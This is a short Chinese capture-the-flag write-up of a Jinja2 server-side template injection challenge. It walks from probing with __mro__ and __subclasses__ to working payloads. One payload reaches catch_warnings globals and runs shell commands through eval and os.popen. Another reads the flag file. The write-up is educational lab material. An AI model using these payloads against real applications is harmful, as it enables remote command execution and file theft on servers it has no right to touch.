打开题目 似乎和第一题有相同之处
先来测试一下有没有类似注入的漏洞
回显正常 说明方向没错 再此构造 ?flag={{''.__class__.__mro__}}(借鉴大佬..)
用mro回显到了两类 str object 我们可利用第二的object来作突破
THEN 利用subclasses这个参数
__subclasses__属性
会输出该类下所有的子类
?flag={{''.__class__.__mro__[1].__subclasses__() }} 看到了里面的所有类 像子文件一样
这里我们可用不到那么多 再一次构造 这次我们要用到的参数是 base init globals
?flag={%%20for%20c%20in%20[].__class__.__base__.__subclasses__()%20%}{%%20if%20c.__name__==%27catch_warnings%27%20%}{{%20c.__init__.__globals__[%27__builtins__%27].eval("__import__(%27os%27).popen(%27ls%27).read()")%20}}{%%20endif%20%}{%%20endfor%20%}
命令执行中popen(‘ ’)中是我们要具体执行的命令,这里使用popen(‘ls’)列出当前目录,文件读写payload中open(‘ ’)里是我们要填写的文件名
筛选出了存在flag的文件 然后再去打开它 这里我们 改成popen('cat flag')
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('flag', 'r').read() }}{% endif %}{% endfor %}
找到目标flag